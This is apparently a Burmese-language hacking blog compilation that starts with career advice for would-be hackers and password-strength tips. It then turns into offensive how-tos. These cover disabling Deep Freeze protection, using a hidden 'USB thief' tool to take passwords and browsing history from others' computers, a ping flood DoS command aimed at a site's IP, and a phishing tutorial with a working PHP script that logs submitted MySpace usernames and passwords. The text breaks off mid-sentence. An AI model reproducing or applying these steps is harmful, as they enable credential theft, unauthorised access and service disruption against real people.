Hacker ဖြစ်​ချင်​ပါ​သလား?

Hacker လို့ ပြော လိုက် တာ​နဲ့ ကျွန်တော် တို့​စဉ်းစား​မိ​တာ​က ​အွ​န်​လိုင်း​ပေါ်​က ဖောက်ထွင်း​ဝိဇ္ဇာ တွေ ကို ပါ ။ ဒီ​နေရာ မှာ အယူ အဆ နဲ​နဲ ပြင်​ပေး​ချင်​တာ က မ​ကောင်း​တဲ့ ဟက်​ကာ​တွေ​ရှိ​နေ​သ​လို ၊ကောင်းမွန်​တဲ့ ဘက် က ရပ်​တည် တဲ့ ဟက်​ကာ​တွေ​လဲ ရှိ​နေ​ပါ​တယ် ဆို​တာ ပါ ပဲ။ ဟက်​ကာ ကောင်း​တို့​ရဲ့​လုပ်​ရပ်​တွေ​ကတော့ မိမိ​တတ်​ထား​တဲ့ ပညာ​တွေ​နဲ့ လုံခြုံ​ရေး​တွေ​စီစဉ်​လုပ်ဆောင်​မယ်၊ open source ဆော့​ဝဲ​လ်​တွေ​ရေး​မယ် နောက်​မျှဝေ​မယ်၊ စစ်​မှန်​တဲ့ အဖြူ​ရောင် ဟက်​ကာ တို့​ရဲ့​ဘဝ​တွေ​ကို သိက္ခာ​ရှိ​ရှိ​နဲ့ ထိ​မ်း​သိမ်း​သွား​မယ် ဆို​တာ​တွေ​ပါ ။ဒါပေမဲ့ အ​ဆိုး​ရှိ​မှ အကောင်း​ဖြစ်ထွန်း​လာ​မှာ ပါ ။ အ​ပြိုင်ဆိုင်​ရှိ​မှ တိုးတက်​လာ မှာ ဖြစ်​တဲ့ အတွက် အဖြူ​ရောင် ဟက်​ကာ တွေ​ရှိ​သ​လို အနက်​ရောင် ဟက်​ကာ တွေ လဲ ရှိ​မှ တိုးတက်​မှု မြန်ဆန် မှာ​ပါ ၊၊ အဲ​တော့ ဆိုး​တယ် ကောင်း​တယ် လို့ ခွဲ​ခြား​နေ​တာ ထက် ဟက်​ကာ ဆို တာ အားကျ​လောက်​စရာ ပညာ​ရှင်​လို့​သတ်​မှတ်​လိုက်​ကြ​ပါ​စို့။

Hacker ဖြစ်လာ​နိုင်​ဘို့​လမ်းကြောင်း​များ
(1) Learning ဆို​တဲ့ လေ့​လာ​မှု​သာမန်​ထက်​အား​ကောင်း​ရ​မယ်။
(2) Java လို software တွေ​နဲ့ program တွေ​ရေး​နိုင်​ရ​မယ်။
(3) Html code တွေ​ကို ကောင်း​ကောင်း​ဖတ်​တတ်​နေ​ရ​မယ်၊ ကိုင်​တိုင်​ရေး​တတ်​ရ​မယ်၊ ပြင်ဆင်​နိုင်​ရ​မယ်။
(4) Open Source ဆို​တာ​ကို နားလည်​ရ​မယ် ၊ဝင်​ရောက်​ရေးသား​ရ​မယ်။
(5) Operating System ကို အသင့်​တော်​ဆုံး​ရွေးချယ်​တတ်​ရ​မယ်။(6)Hacker တစ်​ယောက်​ရဲ့​ဂုဏ်​သိက္ခာ​ကို ထိ​မ်း​သိမ်း​နိုင်​ရ​ပါ​မယ်။

ဒီ​အချက် တွေ​ကတော့ သင့်​ကို hacker ကောင်း​တစ်​ယောက်​ဖြစ်​စေ​ဘို့ ဆွဲ​ခေါ်​သွား​ပါ​လိမ့်​မယ်။
(1)လေ့​လာ​မှု သာ​မာန်ထ​က်​အား​ကောင်း​ရ​မယ် ဆို​တဲ့​နေရာ​မှာ ပြော​ချင်​တာ​က ဇွဲ၊ လုံ​လ​တွေ​မှာ သူမ​တူ​အောင်​ကောင်း​ရ​ပါ​မယ်။ပင်ပန်း​ခံ​ရ​ပါ​မယ် ။ဟုတ်​တယ်​လေ ဒါ​က ဟက်​ကာလ​မ်း ကြော​င်း​ကိုး​ဗျ။ သင့်​မှာ အင်​တာ​နက်​ချိတ်ဆက်​ထား​တဲ့ ကိုယ်​ပိုင် PC တစ်​လုံး ရှိ​နေ​ရ​ပါ​မယ် ။အွ​န်​လိုင်း​ဆို တာ လေ့​လာ လို့ မ​ကုန်​နိုင်​တဲ့ နေရာ​ကြီး တစ်​ခု ဖြစ်​နေ​တာ​ကိုး​ဗျ။နောက်​ပြီး တွေးခေါ် မြော်​မြင်​တတ်​တဲ့ ​ဥာ​ဏ်​အမြော်အမြင် တစ်​စုံ ရှိ​နေ​ဖို့​လဲ လို​ပါ​တယ် ။ဒါ​ကတော့​လေ့ကျင့်​ယူ​လို့ ရ​နိုင်​ပါ​တယ် ဘယ်​အရာ​မ ဆို စိတ်ဝင်စား အလေး​နက်​ထား​လိုက်​ရင် စဉ်းစား​နိုင်​လာ​ပါ​လိမ့်​မယ်။

(2) Java လို ဆော့​ဝဲ​လ်​မျိုး​တွေ​နဲ့ program တွေ​ရေး​တတ်​ရ​မယ် ၊
ဒီ ​အချက် သိပ်​ကို အရေးကြီး​ပါ​တယ် ပ​ရို​ဂ​ရ​မ်​တွေ​အလုပ်​လုပ်​ပုံ​ကို လေ့​လာ​ရ​ပါ​မယ်။သင်​သိ​ထား​တာ​တွေ​ကို​ကိုယ်​ပိုင်​ရေး​နိုင်​ရ​ပါ​မယ် ။စူး​ရှ​တဲ့​မျက်လုံး​တစ်​စုံ​က နေရာ​တကာ လေ့​လာ​နေ​ရ​မှာ ဖြစ်​သ​လို ပြန်လည်​ရေး​ဆွဲ​နိုင်​တဲ့ ပ​ရို​ဂ​ရ​မ်​မာ​လဲ ဖြစ်​နေ​သင့်​တာ​ပေါ့ ။

(3)HTML code တွေ​ကို ရေး​နိုင် ဖတ်​နိုင်​ရ​မယ် ။
သင့် ​မှာ ကိုယ်​ပိုင် website တွေ​ရှိ်​နေ​ရ​ပါ​မယ် ။ ဆိုလို​ချင်​တာ​ကHtml code တွေ ကို အသုံး​ချ​ပြီး​ကိုင်​ပိုင် web page၊ blog၊ website တွေ ရှိ​နေ​ရ​ပါ​မယ် ။HTML ဆို တာ က တော့ web ဘာသာ​ရပ် တ​ခု​လို့ ပြော​ရ​မဲ့ အရာ တ​ခု​ပါ ။ web မှန်​ရင် HTML နဲ့ မ​လွတ်​ကင်း​တဲ့ အတွက် ဒီပ​ညာ​ကို တတ်​ထား​မှ web developer ဖြစ်လာ​နိုင်​သ​လို hacker တယော​က်​ရဲ့ လမ်းကြောင်း​ပေါ်​ကို လဲ ခြေ ချ​နိုင်​မှာ ဖြ​စိ​ပါ​တယ်။

(4)Open Source တွေ​မှာ ဝင်​ရေး​ရ​မယ်
Open Source ဆို​တာ​က တော့ softwareတ​ခု ကို စတင်​ရေး သား​လိုက်​တဲ့ မူလ​ပိုင်​ရှင် software developer ဟာ မိမိ software ကို လူ​ပုံ အလယ်​မှာ ချ​ပြ​ပြီး ၊ အလကား​ပေး​ပါ​တယ် ကြိုက်​ရင် ယူ​သုံး​ပါ ကောင်း​နိုး​ရာ​ရာ​တွေ​ကို လဲ ဖြည့်စွက်​ပါ ဆို​တဲ့ သဘော​ပါ​ပဲ။ ဥပမာ ပြော​ရ​ရင် သင်​လက်​ရှိ​သုံးစွဲ​နေ​တဲ့ Firefox browser ဟာ​လဲ open source တစ်​ခု​ပါ​ပဲ။သူ့​ကို​ကြည့်​မယ် ဆို​ရင် မူရင်း​ပိုင်​ရှင် ဟာ open source အဖြစ် ပေး​ထား​တာ ဖြစ်​တဲ့ အတွက် web ပေါ်​မှာ ရှိ​တဲ့ ပညာ​ရှင်​တွေ က ဝိုင်းဝန်း ပြီး add on လို ဟာ​မျိုး​တွေ ဖြည့်စွက်​ကြ​တဲ့ အတွက် အအောင်​မြင်​ဆုံး Browser အနေ​နဲ့ ရပ်​တည်​နေ​တာ​ပါ ။သင်​ကိုယ်တိုင် Open source တွေ​ကို လေ့​လာ​ရ​မယ် ဝင်​ရေး​ရ​ပါ​မယ်။

(5)Operating System ကို သင့်​တော်​အောင်​ရွေးချယ် တတ်​ရ​ပါ​မယ်။
Hacker လမ်းကြောင်း​ပေါ်​ကို​ရောက်​ပြီ ၊ Open Source ကို သင်​ရွေးချယ်​ပြီ ဆို​တာ​နဲ့ အသုံးပြု​သင်​တဲ့ OS ဟာ linux လို့ အကြံပေး​ချင်​ပါ​တယ် ။ သူ​ဟာ​လဲ open source OS တ​ခု​ဖြစ်​ပါ​တယ်။အခြား OS တွေ​ကို​လဲ သုံး​လို့​ရ​ပါ​တယ် ဒါ​မဲ့ သင့်​တော်​တဲ့ ဟာ​ကို​ရွေး​ပြ​တဲ့​သဘော​ပါ ။linux ကို www.ubuntu.com မှာ အခ​မဲ့ ရ​ယူ​နိုင်​သ​လို သူ​နဲ့ ပတ်သက်​တဲ့ forum တွေ​ကို လဲ ဝင်​ရောက်​ဆွေးနွေး နိုင်​ရ​ပါ​မယ် ။Linux ကို သင်​ကောင်း​ကောင်း​သုံး​တတ်​သွား​ပြီ ဆို​ရင်​တော့ သူ​က သင့်​ကို hacker လမ်းကြောင်း​ပေါ်​ကို ဆွဲ​ခေါ်​သွား​ပါ​လိမ့်​မယ်။

(6)hacker တယော​က်​ရဲ့ ဂုဏ်​သိက္ခာ ကို ထိ​မ်း​သိမ်း​သွား​မယ်
ဘယ် hacker က​မှ ကိုယ့်ကို ကိုယ် ကျွန်တော် hacker ပါ​လို့ မိတ်​ဆက်​မ​လာ​ပါ​ဘူး။ မ​ကြော်ငြာ​ပါ​ဘူး ပညာ​ရှင်​စိတ်​ဓာတ် ရှိ​လာ​တာ​နဲ့​အမျှ ကိုယ့်ကို​ကိုယ်​ထိ​မ်း​သိမ်း​တတ်​ကြ​ပါ​တယ် ။နေရာ တကာ မှာ အောင်မြင်​ကျော်​ကြား​လို​စိတ်​နဲ့​ဂုဏ်​သိက္ခာ​ကို မ​ထိ​မ်း​သိမ်း​ဘူး ဆို​ရင်​တော့ hacker ကောင်း​တစ်​ယောက်​ဖြစ်လာ​မှာ မဟုတ်​ပါ​ဘူး ။
Hacker လမ်းကြောင်း​ပေါ်​ကို လျှောက်​မယ် ၊လေ့​လာ​မှု​တွေ​ကို လဲ လုပ်​မယ် ဆို​ရင်​တော့​မ​ကြာ​ခင်​မှာ သင် HACKER တစ်​ယောက်​ဖြစ်လာ​မှာ သေချာ​ပါ​တယ်။

လေ့​လာ​နိုင်​သော ​အွ​န်​လိုင်း​ပေါ်​မှ HECKING SITE များ နှင့် OPEN SOURCE ဆို​ဒ်​များ
http://www.hackaday.com
http://www.hacktheday.com
http://www.hackingalert.com
http://www.i-hacked.com
http://www.hackszine.com
http://www.2600.com
http://www.linuxexposed.com

Hacker အတွက်​မလွယ်​ဘူး။ ​ဘာ့​ကြောင့်​ဆို​သော်

No.of Character Possible combinations Human Computer

1 36 3mins 0.000 018 sec

2 1300 2hrs 0.000 65 sec

3 47000 3days 0.02 sec

4 1000000 3 months 1 sec

5 60000000 10 yrs 30 sec

10 3700000000000000 580 million yrs 59 yrs

အထက်ပါ list လေးက networking စာအုပ်ထဲမှာပါတဲ့ password အကြောင်းလေးပါ..ဒါကတော့ hacker သမားတွေရဲ့ သုံးတဲ့ software လေးတွေရဲ ႔လုပ်ဆောင်ချက်ဖြစ်ပါတယ်။ ဒါကြောင့် password hacker ကတော့ တကယ်မလွယ်ပါဘူး။ အထက်ပါအတိုင်းက alphabet (26) လုံးထဲက (10) ကိုထားမယ်ဆိုရင် တောင်အပေါ်ကအတိုင်း သူတို့က ကြာမှာဖြစ်ပါတယ်။
ဥပမာ ၁ ၂ ထားမယ်ဆိုရင် သူတို့က ၀ ၁ ပြီးရင် ၀ ၂ ပြီးရင် ၀ ၃ ဆိုပြီးစသည်ဖြင့် software က မှန်းပြီးတော့ လုပ်မှာဖြစ်တယ် ဆိုတော့ လူဆိုရင်တော့ အထက်ပါလိုဆိုရင် ထီးတွေ၊ချဲ တွေ တွက်သလိုတွက်ရမှာပေါ့...ဒါပေမဲ့ software ကျတော့ computer ဦးနှောက်နဲ့ အထက်ပါတွေ့ တဲ့အတိုင်း ခဏဘဲကြာမှာဖြစ်ပါတယ်။

အပေါ်က ဥပမာက နှစ်လုံးထဲကိုတောင် ဒီလိုမျိုး လူဆိုရင် နှစ်နာရီကြာမှာဖြစ်ပါတယ်. ဒါပေမဲ့ Hacker ဆို တာက Computer hacker ဆိုတော့ သူက Computer သုံးမှာပေါ့ ဒါကြောင့် သူ့အတွက်တော့ 0.00065 စက္ကန့်ဘဲ ကြာမှာဖြစ်ပါတယ်။ ဒါပေမဲ့ ကျွန်တော်တို့က ၁၀ လုံးလောက် ထားပြီးဆိုရင်တော့ Computer လဲ ၅၉ နှစ်လောက်တော့ အေးအေးဆေးဆေး မှန်းပြီးတော့ လုပ်ရတော့မှာ ဖြစ်ပါတယ်။ ဒီအခါမှာ ကျွန်တော် စဉ်းစားကြည့်တယ် Computer ကတော့ မပိတ်ဘဲနေမှာ မဟုတ်ဘူး.ဒါကြောင့် 10 လုံးလောက်ထားရင်တော့ Hacker တွေလဲ hacker တော့မှာ မဟုတ်ဘူး ဒီဟာလေးရေးလိုက်တာက ကျွန်တော် ကိုယ်တိုင်လဲရေးရင်နဲ့ မှသတိထားမိတယ်. ဘာဖြစ်လို့လဲဆိုတော့ password 5 လုံးဘဲ ထားတဲ့ဟာနဲ့ 10 လုံးထားတဲ့ နှစ်ခုကို hacker software နဲ့ မှန်းတဲ့နေရာမှာ အချိန်က အများကြီးကွာ သွားတာကိုတွေ့ရတယ်။ ဒါကြောင့် ကျွန်တော်ဆို ၁ဝလုံး ထားဖို့က ထားစရာ password မရှိဘူး..ဒါပေမဲ့ ဒါလေးကိုမြင်လိုက်တဲ့ အခါမှာ သူတို့ရဲ့ ကွာခြားချက်ကြောင့် ကိုယ်လုံခြုံရေးကို သတိထားပြီး ၁၀ လုံးလောက်တော့ ထားရမယ်ဆိုတာကို သတိထားမိသွားပါတယ်။ ဒါကြောင့် မိတ်ဆွေ တို့လဲ password ကိုထားတဲ့ အခါမှာ ၁၀ လုံးလောက်တော့ ထားသင့်ပါတယ်။

ဒါနဲ့ ကျွနျတော်ပွောသလို ကျွနျတော်လဲ ၁ဝလုံးလောကျ password ထားဖို့ မရှိဘူးဆိုတော့ ဘယျလိုထားရမလဲဆိုရငျ....

ဥပမာ ကိုယ့်က password ကိုအရငျက itresharesite လို့ပေးထားတယျ.ဆိုရငျ iTrEsHaReSiTE စတာမျိုးပွီးတော့ +×-(*)&^%$#@!~`?/ ဒါမျိုးတှကေိုလဲထည့်ပေးရငျ ပိုပွီးတော့ hacker တှအေတှကျ ခကျမှနျးရခကျမှာဖွဈပါတယျ။ ဒါကွောင့် ကိုယ့်ရဲ့ လုံခွုံရေးအတှကျ ကိုယ့်မှာသာ တာဝနျရှိပါကွောငျး.. ပွနျလညျဝမေျှလိုကျပါတယျ။

SBSangpi(စံပီး)

Deep freeze ကို hack ရအောင်

(1)တစ်​နည်း​ကတော့ ဆော့​ဝဲ​ကို​သုံး​တာ​ပါ။

အောက်​က​လင့်​ကို​က​လစ်​ပြီး​ဆော့​ဝဲ​လေး​ကို​ဒေါင်း​ပြီ​သုံး​လိုက်​ပါ။

http://www.gamerzplanet.net/forums/soldier-front-philippines/329841...

ကျွန်တော့​စက်​မှာ​စမ်း​တာ​အဆင်​ပြေ​ပါ​တယ်။

(၂)နောက်​တစ်​နည်း​ကတော့​အောက် ပါ​အတိုင်း​ဖြစ်​ပါ​တယ်။

1. ကွန်ပျူတာ​ကို restart လုပ် CMOS ထဲ​ကို​ဝင် ခု​နှစ်​ကို ပြီး​ခဲ့​တဲ့ 10 နှစ်​လောက်​ထိ ပြောင်း​ပေါ့ (ဥပမာ - 2000)

2. ပြီး​ရင် Windows မ​တက်​ခင် F8 နှိပ် Safe Mode နဲ့​ဝင်​ပါ။

3. Windows တက်​လာ​ရင် Ctrl+Alt+Del နှိပ်​ပီး DFServ.exe , FrzState2k.exe ဆို​တဲ့
Process နှစ်​ခု​ကို End Process လုပ်​လိုက်။

4. နောက်​ပြီး registry editor မှာ အထက်က နာမည် နှစ်​ခု​နဲ့ ပါ​တာ​အကုန်​ကို ဖျက်​ပစ်။

5. C:\Program Files\Faronics\Deep Freeze အောက်​က ဖိုင်​အကုန်​လုံး​ကို ဖျက်​ပစ်။

6. Run> msconfig ရိုက် service အောက်​က DFServ service ကို အမှန်​ချစ်​ဖြုတ်​ပေး။

7. Restart ချ​ပါ။ CMOS မှာ ခု​နှစ်​ကို​ပြန်​ပြင်​လိုက်​ပါ။ ဒါ​ဆို DeepFreeze ပြုတ်​သွား​ပီ။

Hacking & Cracking

အခု ​အချိန်​မှာ​တော့ နား​စိမ်း​တဲ့ ဝေါဟာရ​တွေ မဟုတ်​တော့​ပါ​ဘူး။ တချို့ ကွန်ပျူတာ ကုမ္ပဏီ​ကြီး​တွေ​ဟာ အမှန်​တကယ် အန္တရာယ် ကျ​ရောက်လာ​ရင် ကာ​ကွယ်​ဖို့ အတွက်​ရယ်၊ လာ​နိုင်​တဲ့ အန္တရာယ် လမ်းကြောင်း​တွေ​ရယ်​ကို တွက်ချက်​ပြီး ကြိုတင်​လုံခြုံ​မှု ရ​ယူထား​နိုင်​စေ​ဖို့ ရည်​ရွယ်​ကာ hacker, cracker ပြိုင်​ပွဲ​တွေ​ကို အပြု​သဘော​နဲ့ ကျင်းပ​လေ့ ရှိ​ကြ​ပါ​တယ်။ ယခု​လ​အတွက်​တော့ ရှိ​ရှိ​သ​မျှ hacking, cracking နဲ့ နည်း​ပညာ​တွေ​ကို လူ​ငယ်​တွေ လေ့​လာ​နိုင်​စေ​ဖို့ hacker စာ​မျက်နှာ တွေ​ကို စုစည်း​တင်​ဆက်​လိုက်​ပါ​တယ်။

ဆက်လက်​လေ့​လာ​ရန်........

netcraft

hackaday

hacktheday

hackyourday

wiretapped

hackingalert

i-hacked

happyhacker

darknet

hackthissite

hackwhacker

linux-exposed

hackszine

0×000000

winhacking-exposed

warezscene

2600

blackhat

crack0hack.wetpaint

hackinthebox

under-groundnews

th3zone

usb-hacker

USB(flash drive) ကို ကွန်ပျူတာ​မှာ ထိုး​လိုက်​ရုံ​နဲ့ သူ့​ရဲ့ လက်​ရှိ​သုံး​နေ​တဲ့ windows user password, Internet History တွေ Video ကြည့်​ထား​တဲ့ မှတ်တမ်း​တွေ၊ အများ​ကြီး​ဗျာ ကွန်ပျူတာ အသုံးပြု​မှု မှတ်တမ်း​တွေ​အားလုံး USB drive ထဲ ပါလာ​ပါ​လိမ့်​မယ်။ စိတ်ဝင်စား​စရာ ကောင်း​မှာ​ပါ​နော်။ အသေး​စိတ်​ပြော​ပြ​ပါ့​မယ်


အောက်​က ဖိုင်​လေး​ကို ဒေါင်း​လိုက်​ပါ။ Windows XP , Vista နှစ်​ခု​စလုံး​မှာ အလုပ်​လုပ်​ပါ​တယ်။


Mirror 1 Fileden : Download USB thief 5.4

Mirror 1 Zshare : Download USB thief 5.4

rar ဖိုင်​နဲ့​ပါ ။ ဇ​စ်​ဖြည်​လိုက်​ရင် USB thief ဆို​တဲ့ ဖို​ဒါ​ထဲ​မှာ Folder သုံး​ခု​နဲ့ file နှစ်​ခု ရှိ​ပါ​တယ်။ အဲ​ဒီ ​၅ ခု​လုံး​ကို မိမိ​ရဲ့ Flash drive ထဲ ကူး​ထည့်​လိုက်​ပါ။ ဘာ​ဖို​ဒါ​ထဲ​မှ ထပ်​မ​ထည့်​ပါ​နဲ့။ (ဥပမာ - မိမိ​ကွန်ပျူတာ မှာ flash drive တပ်​လိုက်​ရင် Drive J:\ အဖြစ်​ပြ​တယ် ဆို​ပါ​စို့။ Drive J:\ ကို ဖွင့်​လိုက်​တာ​နဲ့ ဖိုင် ​၅ ခု​လုံး မြင်​ရ​ပါ​မယ်။ ကလေး​ပါ နားလည်​အောင် ပြော​လိုက်​တာ​ပါ) ပြီး​ရင် ဖိုင် ​၅ ခု​လုံး​ကို Hidden ပေး​ထား​နိုင်​ပါ​တယ်။ (မ​ပေး​ထား​လည်း​ရ​ပါ​တယ်)

ကူး​ပြီး​ရင် USB drive ကို ဖြုတ် ။ ကွန်ပျူတာ တစ်​လုံး​မှာ သွား​ထိုး​ကြည့်ပါ။ (မိမိ​ကွန်ပျူတာ​မှာ​ပဲ ဖြစ်​ဖြစ်​ပေါ့) အောက်​ပါ​အတိုင်း ပေါ်လာ​ပါ​တယ်။ ( Autorun မ​ပိတ်​ထား​ဘူး ဆို​ရင်​ပေါ့)

ကျ​နော် အခု​ပြ​ထား​တဲ့ ပုံစံ​အတိုင်း Ok ပေးလိုက်​ရုံ​နဲ့ မိမိ​ရဲ့ Windows user password က စ​လို့ ကွန်ပျူတာ​သုံး​နေ​တဲ့ History တော်တော်​များ​များ ပါသွား​ပါ​ပြီ။ ဘာ​တွေ​ပါသွား​လဲ သိ​ချင်​ရင် Dump ဆို​တဲ့ ဖို​ဒါ​ကို ဖွင့်​ကြည့်​လိုက်​ပါ။ ဒီ​လို USB ထိုး​ခဲ့​သ​မျှ ကွန်ပျူတာ​တွေ​ရဲ့ Computer name နဲ့ ဖို​ဒါ မြင်​ရ​ပါ​မယ်။ (ကွန်ပျူတာ​တစ်​လုံး​ကို ဖို​ဒါ​တစ်​ခု နဲ့ မြင်​ရ​ပါ​လိမ့်​မယ်။ကျ​နော် ကွန်ပျူတာ သုံး​လုံး​မှာ ထိုး​ခဲ့​တာ​ပါ)

တစ်​ခု​ကို ဖွင့်​ကြည့်​လိုက်​ပါ။ အောက်​ပါ​အတိုင်း မြင်​ရ​ပါ​တယ်။ ( ၁​၉ ခု ပြ​ပေး​နိုင်​ပါ​တယ် )

Networkpasswords ဆို​တာ​ကို နှိပ်​လိုက်​ရင် windows user passwords ကို မြင်​ရ​ပါ​တယ်။ ကျန်​တာ​တွေ​ကတော့ ကိုယ့်​ဘာသာ ဆက်​လေ့​လာ​လိုက်​နော်။ ဖိုင် ​၅ ခု​လုံး​ကို Hidden ပေး​ထား လိုက်​ရင်။ ဒါ​တွေ ရှိ​နေ​တာ ဘယ်​သူ​မှ မ​သိ​တော့​ပါ​ဘူး။ တော်တော်​များ​များ​က Hidden files တွေ​ကို Show မ ​ပေး​ထား​ကြ​ဘူး​လေ။ အဲ​လောက်​ဆို ကလိ ချင်​တဲ့ လူ​တွေ သိ​လောက်​ပါ​ပြီ​နော်။ ဘယ်​သူ​မှ စိတ်​အနှောင့် အယှက်​ဖြစ်​အောင် ကျ​နော့်​ပို့​စ်​က ဒုက္ခ မ​ဖြစ်​စေ​ဘူး​လို့ ယုံကြည်​ပါ​တယ်​ဗျာ။ Hacking ဝါသနာ​ပါ​တဲ့ Beginner တွေ အတွက်​ပါ။

ဟက်​ကင်း နည်း​လမ်း ​၁​၀​၀​၀ (Hacking techniques 1000)

http://download186.mediafire.com/wmz29xrs37ag/e5bkss42rtlrsp3/Hacking+techniques+1000.zip

ဟက်​ကာ​များ​ဧ​။် လျှို့​ဝှက်​ချက်

- Dos Attack ဆို​တာ Denial of Service Attack ကို​ဆိုလို​ခြင်း​ဖြစ်​ပါ​တယ်
ကိုယ်​တိုက်ခိုက်​လို​သော​သူ​၏ services များ​ကို​ပိတ်​ပင်​ခြင်း​တစ်​နည်း​အား​ဖြင့်​သူ​၏​လုပ်​ငန်း​များ​ဆက်လက်​မ​လုပ်
ဆောင်​နိုင်​အောင်​ရပ်ဆိုင်း​ပစ်​ခြင်း​တို့​ကို​ဆိုလို​ပါ​တယ်…
- End-user systems, servers, routers နဲ့ Website စ​တာ​တွေ​ကို​တိုက်ခိုက်​နိုင်​ပါ​တယ်
- တိုက်ခိုက်​ဖို့​အတွက်​လို​အပ်​ချက်​များ​ကတော့
၁. Command Prompt (CMD or DOS) windows system မှာ​ပါလာ​ပြီး​သား​ဖြစ်​ပါ​တယ်
၂. တိုက်ခိုက်​လို​သော ကွန်​ပျု​တာ သို့ website ၏ IP address
- Website ၏ IP address ကို​ဘယ်​လို​ရ​နိုင်​မ​လည်း​ဆို​ရင်
၁. CMD ကို​ဖွင့်​ပါ
၂. Nslookup website name ရိုက်​ထည့်​ပါ (ဥပမာ- nslookup www.google.com)
၃. Website ၏ IP addresss ကျ​လာ​ပါ​လိမ့်​မည်။
- စတင်​တိုက်ခိုက်​ခြင်း
၁. CMD ကို​ဖွင့်​ပါ။
၂. Ping Site-IP -l 65500 –n 10000000 –w 0.00001 လို့​ရိုက်​ထည့်​ပါ။ (Site-IP နေရာ​တွင်​တိုက်ခိုက်
လို​သည့်​ကွန်​ပျု​တာ (သို့) website ၏ IP address ကို​ရိုက်​ထည့်​ရ​ပါ​မည်။)
Site-IP = နေရာ​တွင်​တိုက်ခိုက် လို​သည့်​ကွန်​ပျု​တာ (သို့) website ၏ IP address
ကို​ရိုက်​ထည့်​ရ​ပါ​မည်။
-n 10000000 = အကြိမ်10000000 တိုက်ခိုက်​မည်​ဟု​ပြော​ခြင်း​ဖြစ်​သည်။ အကြိမ်​အရေအတွက်
ကို​ပြောင်းလဲ​နိုင်​ပါ​တယ်
-w 0.00001 = တစ်​ကြိမ်​တိုက်ခိုက်​ပြီး​နောက်​ဘယ်လောက်​ကြာ​ရင်​နောက်​တစ်​ခါ​ထပ်​တိုက်ခိုက်
မှာ​လည်း​ကို​ပြော​ခြင်း​ပါ​တယ်
သတိပြု​ရ​မှာ​ကတော့ -l, -n နဲ့ -w တွေ​ကို​ဖြုတ်​ပြီး​သုံး​ရင်​တိုက်ခိုက်​နိုင်​မှာ​မဟုတ်​ပါ​ဘူး။
- အခု​လို​တိုက်ခိုက်​ခြင်း​ကို “PING OF DEATH” လို့​လည်း​ခေါ်​ပါ​တယ် ။


အခု​ပြော​မှာ​က Myspace Webpage အတု​ဖန်တီး​မှာ​ဖြစ်​ပါ​တယ်။ တစ်​စုံ​တစ်​ဦး​ကို​နစ်နာ​လို​သော​ရည်​ရွယ်​ချက်မ​ရှိ
ပါ။ နည်း​ပညာ​ကို​ပို​စိတ်ဝင်စား​လာ​စေ​ရန်​အတွက် နှင့် ကာ​ကွယ်​တတ်​ရန်​အတွက်​သာ​ဖြစ်​ပါ​သည်။

Phishing ဆို​တာ​ဘာ​လည်း ?
Web site အတု​တွေ​ကို​ဖန်တီး​တာ​ပေါ့။ Identify theft ဆို​ရင်​လည်း​မ​မှား​ပါ​ဘူး
အ​ပြည့်​အစုံ​ဖတ်​ရန်

Web site အတု​ဆို​တာ​ကို​နား​မ​လည်​ဘူး
Web site အတု​ဆို​တာ​နာမည်ကြီး​တဲ့ website တွေ​ကို​သူ့​ပုံစံ​အတိုင်း​ဖန်တီး​ထား​တာ​ဘဲ​ဖြစ်​ပါ​တယ်။

ဘာ​လို့​ဖန်တီး​တာ​လည်း ?
ဥပမာ​ပြော​ရ​ရင် gmail ပုံစံ site တစ်​ခု​ဖန်တီး​လိုက်​မယ်​ဆို​ပါ​စို့…
အဲ​ဒီ web site အတု​နဲ့​သွား​ဝင်​မိ​ရင် ကိုယ့် gmail user name နဲ့ password တွေ​ပါသွား​ပြီ​ပေါ့

ဘယ်​လို​ဖန်တီး​မှာ​လည်း ?
ပထမ​ဆုံး website အတု​ဖန်တီး​ချင်​တဲ့ တ​က​ယ့် site ကို​သွား​ပါ
MySpace site ကို​ဖန်တီး​ချင်​တယ်​ဆို​ပါ​ဆို့ http://myspace.com ကို​သွား​ပါ

Webpage ရဲ့ source ကို ကြည့်ပါ။ နောက်​ပြီး copy လုပ်​ပါ

အခု​သင့်​မှာ webpage ရဲ့ source ရှိ​နေ​ပြီ​ဆို​ရင်…အဲ​ဒါ​တွေ​ကို web hosting တစ်​ခု​ခု​မှာ​တင်​လိုက်​ပါ
အဲ​ဒီ hosting ဟာ php enable ဖြစ်​ရ​ပါ​မယ်

Web hosting မှာ​တင်​ပြီး index.html ဆို​တဲ့ file အနေ​နဲ့ save လုပ်​ပါ
Index.html နဲ့ save လိုက်​ရင် default home page ဖြစ်​သွား​မှာ​မို့​လို့​ပါ

Php scriptတစ်​ခု​တည်ဆောက်​ပါ​မယ်။ ဘာ​လို့​လည်း​ဆို​ရင်​သင့် webpage အတွက် log fileတစ်​ခု​ဖန်တီး​ချင်​လို့​ရယ်၊ နောက်​ပြီး တ​က​ယ့် websiteကို​လမ်းကြောင်း​ပြောင်း​သွား​ဖို့​အတွက်​ပါ

Notepad ကို​ဖွင့်​ပါ log.txt ဆို​တဲ့ file name နဲ့ save လုပ်​ပါ
Index.html ကို upload လုပ်​ထား​တဲ့ site မှာ​ဘဲ​သွား​ပြီး upload လုပ်​ပါ

Php script နဲ့​ပတ်သက်​လို့​လေ့​လာ​ချင်​ရင်​တော့ ဒီ site တွေ​ကို​သွား​ပါ
www.tizag.com, www.w3schools.com, မှာ​သွား​ရောက်​လေ့​လာ​နိုင်​ပါ​တယ်


header (’Location: http://myspace.com ‘);
$handle = fopen(”log.txt”, “a”);
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “\r\n”);
}
fwrite($handle, “\r\n”);
fclose($handle);
exit;
?>

အပေါ်​က​ပြ​ထား​တဲ့ code တွေ​ကို Notepad ပေါ်​မှာ​ရေး​ချ​ပြီး redirect.php ဆို​တဲ့​နာမည်​နဲ့ သိမ်း​လိုက်​ပါ
နောက် upload လုပ်​ပါ

Index.html မှာ​ပြင်​စရာ​လေး​တွေ​ကျန်​နေ​သေး​ပါ​တယ်။ ဒီ​တော့ index.html ကို notepad နဲ့​ဖွင့်​ပါ။
action= ကို​ရှာ​ပါ။ action နဲ့​ပတ်သက်​တာ​တွေ​က​အများ​ကြီး​ပါ အဓိက​လိုချင်​တာ​က user name နဲ့ password
တွေ​ကို​ဘယ်​မှာ​သွား​ကြည့် တယ်​ဆို​တဲ့​လမ်းကြောင်း​ကို​သိ​ချင်​တာ​ပါ။ ဒီ​မှာ​တော့ E-mail ဆို​တဲ့ နာမည်​လေး​နဲ့​ဘဲ
